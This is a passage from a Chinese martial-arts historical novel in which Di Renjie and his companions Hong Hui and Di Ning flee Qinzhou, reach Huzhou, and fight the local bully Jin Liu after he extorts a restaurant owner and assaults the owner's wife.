洪辉左挡右格,毫无还手余地,大声道:“这世上可以没有我洪辉,却不能没有你狄仁杰!我今日为了正义而死,死而无憾!”突然“啊”的叫了一声,身上中了几刀。 那些人一面乱砍,一面骂道:“狗娘养的小杂种!死到临头了还说大话呢!” 洪辉大怒道:“他妈的!你敢骂我娘!我最恨的就是别人骂我杂种了!你们都给我去死吧!”将刀猛一挥,立时砍伤了两三个。 那些人见他疯也似的冲将来,似要同归于尽一般,都唬了一跳,连忙后退。 洪辉这刀却只是乡村里最普通的一把杀猪刀,又怎能实战? 刀刃突然之间便裂成了两半。 洪辉东躲西闪,手臂又被划破了几道。 正不知所措,一瞥眼见到了地上那根方才为了救人、不得已才丢出去的铁棍。 洪辉想只要拿到棍,或许还能有所转机,只是离得太远了。 狄仁杰大呼:“小心啊!” 只见一个个朴刀劈将来,洪辉连忙躲闪。 又两把刀刺来,洪辉不躲,待离得近了,斜过身子,同时抓住二人手臂,飞起双脚踢翻。接着一个扫堂腿又绊倒了几人,就空隙之间翻了个滚,滚到了铁棍前,一把抓在手上,跃起身来,横扫将去。 诸人不防,登时倒了一片。 洪辉双手持棍,一面挡格防守,又借力打力顺势攻击对方要害。 棍子较刀为长,持刀诸人还未能靠近即被打着,此时以寡敌众更显优势。 洪辉眼疾手快,专攻下盘,有时又出其不意变招,击打对方上身。 一个腾空翻,铁棍四面回旋,呼呼生风,连带寸劲,将诸人打得个落花流水,满地找牙。 洪辉忙捡起了一把朴刀,前去割断了狄仁杰身上的绳索,道:“先生,我们快走。” 狄仁杰点头,与洪辉一齐奔去。 十来人受伤者大半,皆动弹不得了,也不去追赶,只躺在地上长吁短叹。 狄仁杰、洪辉二人摸黑狂奔,一面说起话来。 狄仁杰问起洪辉何以出现在这里。 洪辉道:“其实我早就有打算出来闯荡江湖,只是老爹在家,也不好说的。可自从见了先生的义举之后,我心中更是热血沸腾,也想着要干一番大事业。自从先生离开了以后,我就鼓起勇气跟老爹说了我的想法,老爹他竟然也没有拒绝。我爹一直是个非常固执的人,不知怎地就变了似的!他老人家说啊:‘你想去就去吧,爹老啦,也管不着你啦。’我说:‘我想去找狄先生去……’” 狄仁杰笑道:“哦?原来你此次就是来寻我的?” 洪辉笑道:“正是!我爹当时听了,微笑说:‘狄先生是个好人儿啊。不过你要跟着他,那就是与天下人为敌啊。他如今只是个到处被人追杀的通缉犯。’我说:‘狄先生虽然是通缉犯,未必就是错的。天下人不是通缉犯,也未必就是对的。这世上的事又怎能只看表面呢?狄先生难道不比某些装作是君子的人更像君子?而且狄先生还不用装就是,那些人装还装不像呢!为了正义,便是与天下人为敌,又有何惧?’我爹听了哈哈笑了,说:‘那你赶紧去吧,现在走还赶得上。’我拜了我爹,告辞了村里人,便来找先生来了。我刚刚行到了此处,从山坡上望去,见一群人欺负一个,我心里就不舒服了。近前来看,竟然还是个老年人,我就更加气愤,出手相救。我还并不知道竟是狄先生呢!” 狄仁杰点头道:“天注定你我重逢,这就是缘分了。” 洪辉笑道:“是的。从今以后,我洪辉就跟着你了。” 狄仁杰微笑道:“好。” 奔去了几里路,二人先停下来歇了歇。 洪辉从身上拿出最后一块饼来,给狄仁杰吃。 狄仁杰道:“我不饿,你吃。” 洪辉道:“哦,我也不饿。” 二人肚子却都咕咕叫。 互看了一眼,都哈哈笑了。 遂将饼分作两半,各自吃了。 忽闻脚步声响,二人忙躲了起来。 此时天黑,看不清楚。 狄仁杰、洪辉都想,莫非他们又追来了? 仔细听了听,来者似乎只有一人。 那人发觉了,道:“谁?” 狄仁杰听了耳熟,道:“你莫不是……” 那人认了出来,道:“老爷!” 狄仁杰大喜道:“狄宁!” 与洪辉一同出来相见。 狄宁笑道:“老爷,你还活着!这位……” 狄仁杰笑道:“还记得柳溪村的洪辉吗?” 狄宁笑道:“记得呢。” 洪辉笑道:“对啊,我就说呢,狄先生上回来还跟着狄宁哥,怎地不见呢。” 狄宁问二人怎么遇见了。 狄仁杰遂将分别后,自己被远公子派来的人捉住了,后来洪辉机缘巧合将自己救了出来。 又问狄宁,狄宁道:“今日老爷走了以后,我便拖延了一段时间,直到老爷去得远了,我才走。” 狄仁杰道:“那虎翼双雄如何会轻易放过你?” 狄宁道:“他们二人我自然打不过。我是偷偷躲了起来,他们没有发觉我。待他们走了,我才来寻老爷的。” 狄仁杰“哦”了一声点头。 洪辉道:“既然狄宁哥也来了,那我们接下来该怎么办?” 狄仁杰道:“如今是步步危机,只怕前方的路也不会好走。” 洪辉道:“我洪辉既然决定跟随先生,就绝不后悔。” 狄宁道:“我也是。” 狄仁杰“嗯”了一声,说道:“如今我们要设法离开秦州。” 三人遂歇了歇,继续赶路。 此后三人每行一段路,便会有小乡镇,钱总算是有处儿花了。 不知又过了几日,身上盘缠亦用尽。 狄仁杰道:“估计我们快到关口了,我们抓紧行路。” 这日三人穿过一片密林,站在山坡上遥望去。 只见一大片城墙,并少许进出之人。 狄仁杰道:“是了,是秦州地境的最后一道关口。” 洪辉道:“只是先生既被通缉,怎地出去?” 狄仁杰道:“我们先下去吧。” 狄宁道:“只怕给人看见了。” 狄仁杰道:“不怕,我倒觉得哪里有些非同寻常。” 三人遂下到城墙边,环顾了一番。 只见城门口就一两个官兵把守,周边却并无张贴通缉令。 三人互看了看,皆疑惑,不敢贸然行事。 又过了一时,仍不见异常,遂试着走出城门,那些官兵也并不检查。 三人于是莫名其妙的便出了关隘。 洪辉道:“这是怎么回事?” 狄仁杰摇头道:“怪哉。” 来至渡口,也不见有通缉令。 狄宁道:“没钱了,付不起船钱。” 只见一老者迎面走来,认出了狄仁杰。 狄仁杰也认出了他,道:“恩人!” 此人乃救出狄仁杰、韩忠义的那位船夫祝老。 他笑道:“好巧,在这儿遇见你!你们要上哪儿去?老夫要去胡州城看望我儿。” 狄仁杰想了想,西边的胡州亦是通往边境的必经之路,遂道:“那可否顺路带上我们三人?” 祝老道:“行啊,路上有个伴儿,有甚不好。上来吧!” 狄仁杰三人遂登舟。 祝老叫声:“走喽!” 船便离码头愈来愈远,直到看不见了。 一路西上,停泊靠岸时,也未见再有通缉令。 狄仁杰道:“我想应该不会再有了。” 狄宁问为什么。 狄仁杰道:“因为暂时的信任。” 36. 第三十六章 惩恶 有日到了胡州,弃舟登岸。祝老与了狄仁杰三人一些碎银子,相辞而别。狄仁杰三人都感叹:“真是好人哪!”来至城门处,果真也无通缉令,三人都喜得眉开眼笑。一齐进了城,见大街上人烟凑集,闹声喧哗,来往行人络绎不绝。三人于是在街上游逛。 洪辉曾经以为自己自小待的柳溪村便是唯一的一片天地。如今想来,自己当真是井底之蛙,又何尝见过这般景象?此时他心花怒放,不禁笑道:“好热闹啊!” 狄仁杰道:“早就听得人说,西路的胡州城乃各路商贾云集之地,自然是闹热非常。我也是首次来此,今日一见,果不其然。” 狄宁道:“小的只知浙江一带有一个湖州,没想到西方路上也有一个胡州,看来是此胡非彼湖了。” 洪辉看着周围行人忙忙碌碌,奇道:“先生,这些人为何如此着急?他们难道也跟我们一样,是急着去赶路吗?” 狄仁杰道:“有一句古话说:‘天下熙熙,皆为利来。天下攘攘,皆为利往。’” 洪辉道:“先生,我没读过书,这句话什么意思啊?” 狄仁杰叹道:“意思是啊,这普天下的人,都为了利益而至,又为了利益而去。芸芸众生,来来往往,无不劳苦奔波。这是自古以来都没有变的。” 洪辉道:“看来这些人还是太不懂得知足了。我们村里人,平日也就弄点庄稼活,有口饭吃,就谁都没有怨言了,哪里还敢奢望什么利益。虽然也辛苦,可是远没有这等烦躁不安。” 狄仁杰道:“所以各人都有各人的苦衷,也不能等量齐观。” 洪辉道:“我们庄稼人都是安分守己地过日子,除非官府将咱逼急了,咱不得已才反……”狄宁忙打住他。 洪辉道:“不知这胡州的官是怎样的?” 狄仁杰道:“听得说,在任知府姓孟名延。他祖父当年在此发迹,与他父亲二人于前朝之时便是本地官员。如今这孟知府承继家业,乃兼官商二职于一身者。他又是独生子,继承家私自是顺理成章。” 狄宁道:“官位也是继承的吗?” 狄仁杰道:“我朝本无这等条例,然想孟家或是历代有功之臣,故而不曾废之。可亦有例外,譬如近来战时,秦州远公子父殁,朝廷或因人手急缺之故,便因其亲属关系对其进行册封,这也是有的……”言及于此,不由得一阵心酸。 洪辉心直口快,也未曾放低声量便道:“别的倒也罢了,只愿这姓孟的知府不是个狗官。否则他又是当官又是赚钱的,有权有利,那咱老百姓可不得遭殃了!” 唬得狄宁忙拍了拍他,悄声劝道:“兄弟,这是大街上,你说话小点声。” 洪辉这才意识到失言,忙认了错。 狄仁杰左右觑了觑,见车水马龙,并无人在意,道:“如今虽没了通缉令,也须小心为妙。” 洪辉忙道:“再也不敢了。” 只听得街旁一群人叹道:“嗐,这么好的买卖就这么没了。可惜,可惜!” 洪辉好奇心强,走近前来问道:“你们说的是什么买卖啊?” 那些人道:“前段时间,不是还有那个什么通缉犯‘狄仁杰’的通缉令嘛,近来都没了,如今就算是逮着了他也拿不到赏银喽。我们几个原本都商议来着,要寻个法子去抓到那狄仁杰报官呢。那么大一笔钱,够我们活几辈子喽!嗐,如今就是抓到了也没用喽!”说着,朝狄仁杰方向瞧去。 狄仁杰早背转了过来。 洪辉还未发觉自己正在闯祸,还继续与那些人道:“你们为什么非要抓狄先生呢?他可是好人啊。” 那些人道:“你叫他什么?‘先生’?你怎知他是好人?你小子还认识他啊?” 洪辉道:“认识咋了嘛!我劝你们不要再乱来了。狄先生他是被人冤枉的。” 那些人道:“我们管他冤不冤枉,我们只是要赏银。如今都拿不到钱了,更不在意了。” 狄仁杰、狄宁二人唬得一身冷汗。 好在那群人也并未在意,说着便自去了。 洪辉呆了呆,“哎呀”一声,一回头,见狄仁杰、狄宁二人都是一脸窘迫的神色,于是拍了拍自己的脑袋,歉意道:“这……这实在是对不住啊,我……我真不是故意的。我以后会注意少说话的。” 狄仁杰想道:“小辉倒是光明磊落,实属难得。只是他丝毫不懂得隐藏自己的心事,只怕日后麻烦不会少……”当下只说:“没关系,下一次注意些就好。”又道:“你们记住我的话:要多听少说,往往是‘祸从口出’啊。” 狄宁、洪辉二人听了点头。 日头当空,正是午牌时分。 狄仁杰三人逛了一阵,来至一高楼前,见大门上有一匾额,题曰“食来运转”。闻得里面饭菜香扑鼻而来,三人遂款步进了楼,只见里面到处都坐得满满的。 一个酒保见了他们三人,打量了一番,道:“是来买饭的?” 狄仁杰道:“嗯,可还有座位?” 酒保抬头看了看,道:“我看够呛。”又道:“跟我来吧。”便领着三人上到了第三层,方见有一桌人刚走,三人便坐下了。桌子靠近栏杆边,有个临街的窗。从窗户看下去,行人如堵,再眺望远方,楼阁无数。真是个繁华的去处! 酒保问三人点什么,三人问他有什么。酒保便一口气说出了十几样来,不论是肉类,还是瓜果蔬菜,都样样俱有。并且每样菜还有不同的做法,只有说不出的,没有吃不到的。狄仁杰、狄宁、洪辉三人都听得目瞪口呆。想着不久以前饿都快饿死了,如今却有这么多菜肴可以选择,当真是措手不及。 眼见自己三人也吃不得这许多,且祝老虽给了盘费,也得节省着用。因此只点了一小盘最廉价的猪肉,还有三碗米饭。 酒保问:“还要什么?” 狄仁杰道:“先这样吧。” 酒保撇了撇嘴,转过身去,一面咕哝了一句:“果然是叫花子小家子气。”说着下楼去了。 洪辉听见了,本欲发作,但想到狄仁杰教不要惹是生非,也只好罢了。 狄仁杰、狄宁二人看出来了,忙劝了他两句。 又等了许久,也不见上菜。过了快半个时辰,才见那酒保端着一个盘子缓缓地走了近前。狄仁杰先忙道谢。那酒保也不睬,只将那三碗米饭重重地、几乎是摔在了桌上。又拿起那一小盘猪肉,手一晃,滑了几片掉在了地上。 他忙道:“哎呀,过意不去啊!”说着,蹲下身捡了起来,放回盘子里,轻轻地摆在了桌上,笑道:“请慢用。”正要走,却被洪辉一把扯住,怒道:“我们怎么得罪你了?你为什么要这么跟我们过不去!你说出个原因来!” 狄仁杰忙劝:“小辉,算啦。” 那酒保也不答话,只头抬得高高的,一脸不屑地看着洪辉。洪辉气不过,便站起身来,比他高了有整整一个头,同样是用这副蔑视的神情看着他。酒保唬了一跳,忙抽身下楼去了。 洪辉叹了口气,坐了下来,头歪在一旁。 狄仁杰、狄宁二人也不知道说什么好,只从竹筒里拿了三双箸,递给洪辉一双。 洪辉也不接,过了片刻,望着狄仁杰道:“先生,为什么人活在世上就得受这种鸟气?我……嗐!” 狄仁杰点了点头,道:“我再教你两句话,你好好记住:有容乃大,无欲则刚。只有广阔的胸襟,方能包容一切。一个人若能胜得了自己的内心,他就胜了全世界。” 洪辉呆了半晌,说道:“先生,我几时能像你一样呢?” 狄仁杰哈哈一笑,摇了摇手,道:“我年轻时,尚不如你呢。不要气馁,人生的路还长着呢。” 洪辉笑了,点头。 三人于是同时举起筷子,去夹那猪肉。六根筷子竟同时往那掉了地的几片肉上夹去。 洪辉忙道:“这掉地的不干净,先生不要吃,我来。” 狄仁杰道:“这有什么,好好的食物掉地了就吃不得了?” 狄宁道:“我什么都能吃,还是我来。” 洪辉道:“我在村里了时候,小时候一吃了不干净的东西就拉肚子。后来吃惯了,反而好着呢,你们可不行。” 狄仁杰笑道:“你们俩年轻人,就别跟我这个老头子争了。” 狄宁道:“不可啊老爷,哪有让你吃这脏的,我们倒吃干净的理呢?” 狄仁杰笑道:“你可不要好了伤疤忘了疼。前一阵子山野里饿了时候,差点儿都想着要吃树叶呢不是,这会儿就这么娇贵了。” 狄宁、洪辉二人互看一眼,一齐放下箸,道:“那我们不吃了,反正也不饿。” 狄仁杰笑了笑,道:“好,你们不吃我吃。”说着,还是去夹那掉地的。 狄宁、洪辉二人忙道:“罢了,我们也吃。” 三人于是下饭吃了起来。 忽听得外面闹哄哄的。狄仁杰三人正吃着,看着窗外,也没在乎。 这时大门口走进了一伙儿人来。狄仁杰三人的座位就在栏杆边,低头瞧见了他们。只见一个浑身绫罗绸缎的肥汉带着头,大喝一声:“你们野爹来咯!” 狄仁杰三人还未反应过来,便听得四周都乱嚷起来:“不好!瘟神来啦!”“快跑啊!快跑啊!”“哎呀呀!走走走!” 大楼内登时一空。 有一个同层吃饭的人还一脸慌张地走来,叫狄仁杰他们也快跑。 狄仁杰三人莫名其妙,问道:“怎么回事?” 那人“哎呀”的干着急,道:“你们怎么还不走啊……算啦,我好心要救你们,这下子人都走光了,我也走不得了……我跟你们坐一块儿吧。”说着,连忙挤在了狄宁旁边。他小声道:“你们不认得他。底下那人叫金六,是胡州城里出了名儿的淫棍、恶霸。” 却说那肥汉金六见众人乱跑,便哈哈大笑了起来。他后面那十来个跟班儿也跟着笑,都道:“六爷就是六爷,到哪儿都是爷!”唬得那些酒保、店小二、店伙计都出来垂手侍立。跟班儿们骂道:“瞎了狗眼的!没见六爷在这儿?还不赶快跪下来磕头!”众人不敢违拗,都跪下磕头。 金六道:“孙儿们,快叫爷爷!” 众人应付道:“给六爷请安。” 金六坐在椅子上,很是受用,笑道:“谁叫得响亮,爷爷有赏!” 一群人登时兴高采烈地乱叫了起来:“六爷是我爷爷!我是六爷的孙儿!” 其中一个酒保,便是适才给狄仁杰三人送饭的那个,喊得最大声:“六爷是我的老祖宗!我是六爷的小孙儿!” 金六听了,大笑道:“好说,好说!这个叫六爷祖宗的,给一两银子!其余的,也都赏些吧。” 跟班儿们应道:“是!” 遂掏出银子来,与了那酒保一两,又将碎银满地乱撒,一面道:“崽子们!六爷的恩典,还不赶快谢过六爷!”众人一面捡钱,一面乱谢。 那酒保捧着那一两银子,忙爬近前来磕头。 金六笑道:“乖孙儿,你六爷想打你,你干不干啊?” 那酒保忙道:“祖宗打孙儿,天经地义!祖宗请打!” 金六大喜,左右开弓,来回扇他耳光。 那酒保一面被打,一面笑道:“打得好!祖宗打得好!” 金六打了一会儿,道:“乖孙儿,六爷赏你钱!” 那酒保忙不迭谢了。 众人见那酒保又得了银子,都争着要金六来打。 金六道:“六爷今儿累啦,下回再打!”又问:“你们老板哪儿去了?”都说在后头呢。 金六叫道:“宋老板,出来!” 只见帘子后边儿走出个男子,说了声:“见过六爷。”此人乃店老板。 金六冷笑道:“哟,宋老板,你这店儿开得不错啊!生意兴隆啊!” 宋老板忙陪笑道:“多蒙六爷抬举,小的才能在胡州城里有一席之地。” 金六哼了一声,道:“你知道就好!记住咯,你这店儿打从今儿个起,挣来的钱九成归爷,明白不?” 宋老板大惊道:“你……你说什么?!” 金六道:“你听不明白爷爷说话?” 宋老板嗫嚅道:“小……小的明白……可……九成的话……我这店儿还不如不开了……这可是亏大本儿的生意啊!” 金六道:“嘿!你什么意思呢?” 宋老板道:“六爷,我已经将七成都给了你了,你不能再逼我了!” 金六拍桌子怒道:“胡州城里哪一家儿开店的敢不给六爷我钱!” 宋老板急了,道:“六爷!我……我不都给你老七成了嘛!你……你还想怎样啊!” 金六道:“我他妈说给钱就是要给九成!你听不明白?!” 宋老板切齿道:“这店儿……是我一点点儿省下来开的,才会越开越大的……你……你凭什么白拿我这么多钱?你……” 金六道:“凭什么?就凭爷爷我是金六!” 宋老板低着头,小声道:“金……金六又怎么了……” 金六大喝道:“我干爹是金世宝!” 却说狄仁杰三人在楼上将底下发生的事都看得一清二楚。 洪辉多次想发作,都被狄仁杰、狄宁,还有之前叫狄仁杰他们快走自己却没走成的那人劝住了。 这时问那人道:“金世宝是谁?” 那人叹道:“嗐,其实这金六敢这么嚣张,就是因为他干爹是金世宝的缘故。这金世宝便是胡州知府孟老爷家里的账房总管。” 却说那宋老板明知金六的干爹是金世宝,又哪敢得罪?只低着头不语。 金六东张西望,问道:“你老婆呢?” 宋老板只得答道:“浑家……在里边儿炒菜呢。给……给六爷炒菜。” 金六道:“叫她甭做了,叫她出来见我。” 宋老板只好叫出了老板娘。她向金六道了个万福。 金六嘿嘿笑道:“娘子,你可还记得金六吗?” 老板娘道:“奴家记得六爷。” 金六招手笑道:“来来,过来,给你六爷瞧瞧。” 老板娘看了一眼宋老板,宋老板只装作没瞧见。老板娘无法,只好陪笑过去了。 金六搂着她笑道:“唉呀,娘子近来又俊了!” 宋老板敢怒而不敢言,只骂伙计们:“你们还待这儿干吗?还不赶紧地给六爷上菜去!” 此时金六神情猥琐,举止非礼,老板娘甚是尴尬,求道:“六……六爷……你……你不要这样……” 宋老板怒不可遏,却不敢明着骂金六,只指着老板娘骂:“娼妇!你大白日的发什么骚!” 金六瞅了一眼宋老板,喝道:“姓宋的!你甭拐着弯儿骂你爷爷!” 宋老板哼了一声,大声道:“小的不敢!” 金六笑道:“你不敢?我要睡你老婆咯!你干不干!” 宋老板直气得语塞,怒目指着金六发抖。 金六并不理睬,只看着老板娘笑道:“娘子,我来瞧瞧你的细皮嫩肉,嘿嘿!”说着动起手来。 宋老板冲过来喝道:“金六!你住手!” 金六的跟班儿们早将他拦住了暴打一顿。 唬得店里众人皆躲在帘子后边儿,不敢则声。 宋老板被按在地上,挣脱不开,只大骂:“六狗!我要活刮了你!” 跟班儿们对他又是一顿拳脚。 宋老板怒叫:“六狗!你要是敢动我老婆,你会遭报应的!” 金六听了大怒,冲过来就往他脸上狠踩,喝道:“你也不打听打听!这三街六巷的女娘哪一个没被六爷我睡过?又有哪一个崽子敢来吭声儿爷的不是!你老婆母狗一般的货色,值你妈屁!你金爷爷还碰不得咯!” 老板娘哭道:“我求你们别打他啦!” 宋老板大骂:“六狗!王八蛋!你打!你打!” 金六见有许多围观的,愈发来劲,一把将老板娘扯过来,望着众人笑道:“今儿六爷有兴致,给你们瞧瞧六爷我是怎么睡女娘的!”跟班儿们齐声叫好。大门前的围观群众虽不敢明着叫好,心里却都暗喜,都睁大了眼观看。宋老板骂不绝口,气得几乎晕了过去。 这时,忽听得啪啦一声巨响,什么东西碎了,又听得“哎呀”“哎哟”几声,有人受了伤。众人大吃一惊。 原来三楼的狄仁杰、狄宁、洪辉三人本不欲惹是生非,可是见这一群人欺男霸女、目无王法,实在是再也忍不住了。三人旁边没走成的那人虽极力劝阻,却也拦不住这冲天的怒气,只是“哎呀”的干着急。 洪辉见那金六动手动脚的,下楼救人已是不及,于是随手在桌上抓起一个饭碗便往下砸。 饭碗摔在了一楼的木头地上,发出巨响,裂成碎片,飞溅到了金六还有他的跟班儿们身上,好几人脸上手上均被划出了血,因而乱叫。 金六一面大骂,一面将老板娘狠摔一旁,头转来转去,喝道:“谁!谁伤的爷爷!” 跟班儿们抬头望见了三楼有人,忙指着叫道:“楼上有人!” 众人皆凝神注视着一楼发生的事,哪里有注意到三楼竟然还有人。 跟班儿们指着狄仁杰他们叫道:“你们活腻了呀!” 洪辉喝道:“一群狗崽子光天化日为非作歹,我看是你们活腻了!” 跟帮儿们叫道:“你们几个吃了熊心豹子胆了!竟敢在胡州城里跟六爷作对!” 狄仁杰怒喝:“大周的国土,焉能容得尔等败类!” 金六叫道:“你们几个杂种是什么东西!” 洪辉指着厉声大骂:“放屁!你才是个杂种!一个八竿子打不着边儿、偶然连了宗的地痞流氓,巴结上了孟家姓金的账房总管,还认做了干爹,真他妈的不要脸!我看你就是个猪狗不如的杂种,一个到处认别人做爹的狗崽子!你还有脸自称爷爷?我看天底下是个人的都是你爷爷!再随便寻一条狗来,也都是你狗杂种的野爹!” 这金六见自己的事儿被洪辉给当场说了出来,还被骂了个狗血喷头,不由得恼羞成怒,大叫:“臊你娘的!今儿不把这几个小崽子剁成肉泥酱,我也就不他妈的姓金!小的们快上!” 跟班儿们一齐拔出腰刀,唬得围观群众登时没个影儿。 这金六叫声:“上楼!”便领着跟班儿们一齐踏着木梯飞奔而上。 老板娘忙扶着宋老板躲进了帘子后边儿。 这时楼里除了躲起来的店里人不算,只有金六与他带领的十余号跟班儿,还有就是三楼的狄仁杰、狄宁、洪辉,还有没走成的那人。 一排排木桌上仍是杯盘狼藉,却早已散去了吃饭的人。眼见那些人顷刻而至,三楼的四人中间却只有两个人会打。且没走成的那人早已唬得心惊胆裂,只紧紧地贴着狄仁杰三人,一动也不敢动。 洪辉前不久救狄仁杰的那夜,夺来了一把朴刀,此刻交与没器械的狄宁使用,自己却持着那把随身带着的铁棍。 只听得嘣嘣嘣如雷响,伴随着人声叫嚷。 狄仁杰知道又要面对生死关头了。而此次一旦得罪了这金六,就是得罪了金世宝,得罪了金世宝,也就是得罪了孟家。在胡州地界上得罪了孟家,这今后的路将是何等的坎坷,那是可想而知。可是那又如何!难道仅为了不得罪权贵,便任凭恶人逍遥法外吗?若是这般,那也就不是我狄仁杰的所作所为了! 说时迟那时快,一群人方露出头来,狄宁早一脚将一张木桌朝楼梯口方向踢去。眼见桌子直滑将来,跟班儿们皆唬了一跳。那来不及退后的,自然被撞得翻滚了下去。可楼梯比桌子还要宽,桌子持续向下滑动,因此那来得及退后的,也免不得跟着一齐翻滚,登时又响起了“哎呀”“哎哟”之声。 狄宁、洪辉二人赶忙在前,护着狄仁杰还有那人下去。下至二层,跟班儿们早爬了起来,听金六大喝一声:“快杀!”皆持着刀向狄仁杰几人劈头劈脸砍将来。 洪辉舞着铁棍,腕花回旋,噼里啪啦,一面防守一面攻打。狄宁却用不惯这刀柄如此之长的朴刀,险些还被乱刀砍掉了手臂。遂将朴刀丢在一旁,卖个破绽,待一人腰刀朝自己面门刺来,微一躲闪,左手趁势一把抓住他的手腕,右手便一掌拍在他脸上,打得他登时眼冒金星,手一松,刀落了地。狄宁忙捡起刀来,冲过去替洪辉解围,只留下个肥金六,还有狄仁杰二人。 这金六虽不会武功,但俗话说:“武功再高,也怕菜刀。”何况狄仁杰还有那人根本就不会武功,因此就算是没有菜刀也须害怕。金六这时拔出刀来,见洪辉、狄宁二人忙着对付他的手下,没空儿来理会狄仁杰二人。适才他便见这这二人并未参与斗杀,料定他们不会武功,遂壮起胆来,持着刀砍向狄仁杰二人。 狄仁杰虽是一点武功不会,却是遇事冷静,故而并不着急。他却想着没走成的那人在旁,欲救他,忙叫:“小兄弟,快来!”说着便拉他。那人却早已唬得魂飞天外,狄仁杰说什么都没听见,拉他也拉不动。一晃眼见到金六,已是唬死了,又见那刀劈头砍将来,只是双手抱着头叫道:“六爷饶命啊!六爷!不干小的事!” 那金六哪管他三七二十一,骂道:“你们几个崽子敢惹你金爷爷,让你们死无全尸!”早将那人一刀跺成了两半。 狄仁杰见了,只是叹气,一面乱躲。狄宁、洪辉二人正与十余人周旋着,一瞥眼见到狄仁杰有危险,忙皆抽身出来护着。见那人尸横就地,也叹了口气。 二人护着狄仁杰,又打了一阵子,跟班儿们便渐渐不敌。何也?只因这些个跟班儿平日里根本就用不着拔刀拼命,只须跟着金六作威作福一番,动动嘴皮子就够了。有时金六再来上一句:“我干爹是金世宝!”那些普通老百姓还敢再说些什么?这群跟班儿今日又跟着金六来楼里闹事儿,不料竟会碰上这么几个作对的,这已是千载难逢了。而狄宁、洪辉二人身手亦甚了得,因此没过多久便都败了阵。 此刻跟班儿们均受了伤,在地上“哎呀”“哎哟”连声叫苦。金六也中了几棍,趴在地上痛苦地乱叫。 狄宁道:“杀了他们,免除后患。” 狄仁杰犹豫了片刻,道:“罢了,留他们一条性命吧,料他们日后也不敢如此胆大妄为了。”又道:“只是这带头的金六不可轻饶。” 金六大惊,忙跪下磕头道:“爷爷饶命!爷爷饶命!” 狄仁杰指着他怒道:“我今日若不惩治你一番,那那些被你玷辱过的无辜女子,还有那些被你伤害过的平民百姓,他们岂不是有冤无处诉?就算是我不去做,将来也会有他人来做!到时候你是否能保得住性命,恐怕都难说了。”遂叫打断他的一条腿。 金六乱叫,被狄宁按住。洪辉甩起铁棍,在他右腿上猛然一敲,立时便打得他骨折了。那金六哭天喊地的,满地打滚,口中叫着:“哎呀妈呀!痛死我啦!” 狄仁杰哼了一声,道:“留你一条腿,你给我好好地反省反省!你日后若是还敢作恶,不知改悔,就算我惩治不了你,上天也不会轻饶!”叫狄宁、洪辉二人带上那没走成的,说声:“我们走。” 三人一尸遂出了大楼。 这里跟班儿们赶忙爬起来搀扶金六,见他反反复复的也不知跌了几回,方勉强站立起身。金六那右腿只轻轻一动,便痛不欲生。气得只是破口大骂,可又不知狄仁杰几人是谁,只哭道:“害得我金六成废人啦!今儿竟败在了几个叫花儿手里!” 跟班儿们忙劝道:“六爷,你去找老爷,老爷他不会不管的。这胡州城里除了孟老爷,就是老爷的天下了,还怕抓不着这几个叫花子不成?” 金六听了,大喜道:“金世宝是我金六的干爹!哈哈哈!快,快扶我回府!” 跟班儿们遂扶着他单脚缓行,听他时不时又痛得乱叫。 楼里宋老板领着伙计们送了出来,一面道:“恭送六爷。” 金六猛一回头,看出了他幸灾乐祸之意,遂哼了声道:“姓宋的,你甭太得意咯!我金六也不过就断了个腿儿。我干爹还是金世宝!胡州城里,六爷还是爷!”出了楼,来至大街上。 胡州城里的人哪一个没被金六坑过?众人面上虽仍不敢露出喜色,然心里各皆欢喜。金六被他的跟班儿们扶着,踉踉跄跄走了半日,见街上众人都微笑着看着自己,不由得又羞又怒。跟班儿们只得喝骂了一阵,各人方各干各的去了。 一时,来至东南街的一个宅第前,都拥过来敲门。一个仆人开了门,大惊道:“哟,小爷!你怎地这般模样嘞?” 金六不耐烦道:“哎你别啰嗦了,还不赶快扶我进去!”仆人也帮着扶了进去。金六在大厅上坐地,叫跟班儿们都退下。他们答应了一声,各自散讫。 那仆人问金六腿怎么了。金六摆手道:“嘿,甭提了。”问道:“干爹呢?” 仆人答道:“老爷还在孟府里算账呢。” 金六又问几时能回。 仆人道:“这可说不准。” 金六道:“得了,那我等会儿吧。渴死我了,赶紧地给我上茶去啊!” 不知过了多久,天色暗将下来。听得大门外车马声响,仆人忙迎了出去,道:“老爷可算回来啦。” 只听得一人问道:“怎么,出什么事了吗?” 仆人道:“小爷他被人打嘞!” 那人道:“听说了。” 仆人道:“老爷听谁说的?” 那人哼道:“听谁说?胡州城里满大街的都在说!他人呢?” 仆人忙道:“小爷在里边儿候着呢。” 金六扶着椅子,望向门口。 只见仆人请了一个锦衣玉带的中年男子进来。他面庞偏瘦,一小撮胡须,神情冷冷淡淡的。 金六腿坏了,跪也跪不了,只得往地上一趴,便大哭道:“干爹!干爹救我呀!” 那人便是金世宝。他只瞥了一眼金六,冷笑了一声,缓缓地坐在了对面的椅子上,翘起腿来。仆人上了茶,退在一旁。 金六叫道:“干爹!为我做主啊!” 金世宝只管双手捧起盖杯来喝茶,并不理睬。 金六道:“孩儿被人给打断了腿儿……” 金世宝放下盖杯,抿了抿嘴,方道:“与我何干?” 金六道:“干爹!我可是说出了干爹的大名儿来啊!他们竟然还敢打我呢!这不是明摆着跟干爹你过不去嘛!” 金世宝啐了一口,指着他道:“你平日里做的那些勾当,打谅我不知道呢。我往往是睁一只眼闭一只眼也就罢了,有说过你些什么?如今你自己闯出祸来,就来找我了?” 金六道:“孩儿平日里得来的银子,还不是都给了干爹嘛!孩儿也是为了干爹出头啊!” 金世宝指着窗外道:“街上都传得沸沸扬扬的,说你今儿又去姓宋的楼里闹去了,还大庭广众就要睡人家老婆?我说你啊,做事也忒没分寸了!” 金六陪笑道:“欸干爹,今儿我已经跟那姓宋的说了,打从今儿起啊,他店里挣来的钱九成得归咱!” 金世宝听了,拍案怒道:“荒唐,荒唐!你实在是太荒唐了!” 金六唬了一跳,道:“干……干爹,孩儿是不是……要多了呀?” 金世宝道:“你说呢?” 金六道:“哎呀!孩儿错啦!不该要这么多呀!” 金世宝喝道:“不是要多了是要少了!既然你都要九成了,你怎么还不把他那整栋楼都给我要了来啊?啊?你个蠢猪!你还留那一成给他做什么呀?留着做种呢!”顿了顿,又缓缓道:“那一栋食来运转,是胡州城里的大店之一。只要能拿到手,那咱们金家在胡州一带就更是高人一等了。孩儿啊,你还是太心慈手软啦。你怎么能对人这么善良呢?我告诉你,做商人就不能有妇人之仁,否则会吃大亏的,你明白吗?” 金六忙笑道:“是,是!干爹说得是!孩儿只顾想他老婆来着,正事儿倒办糊涂咯!” 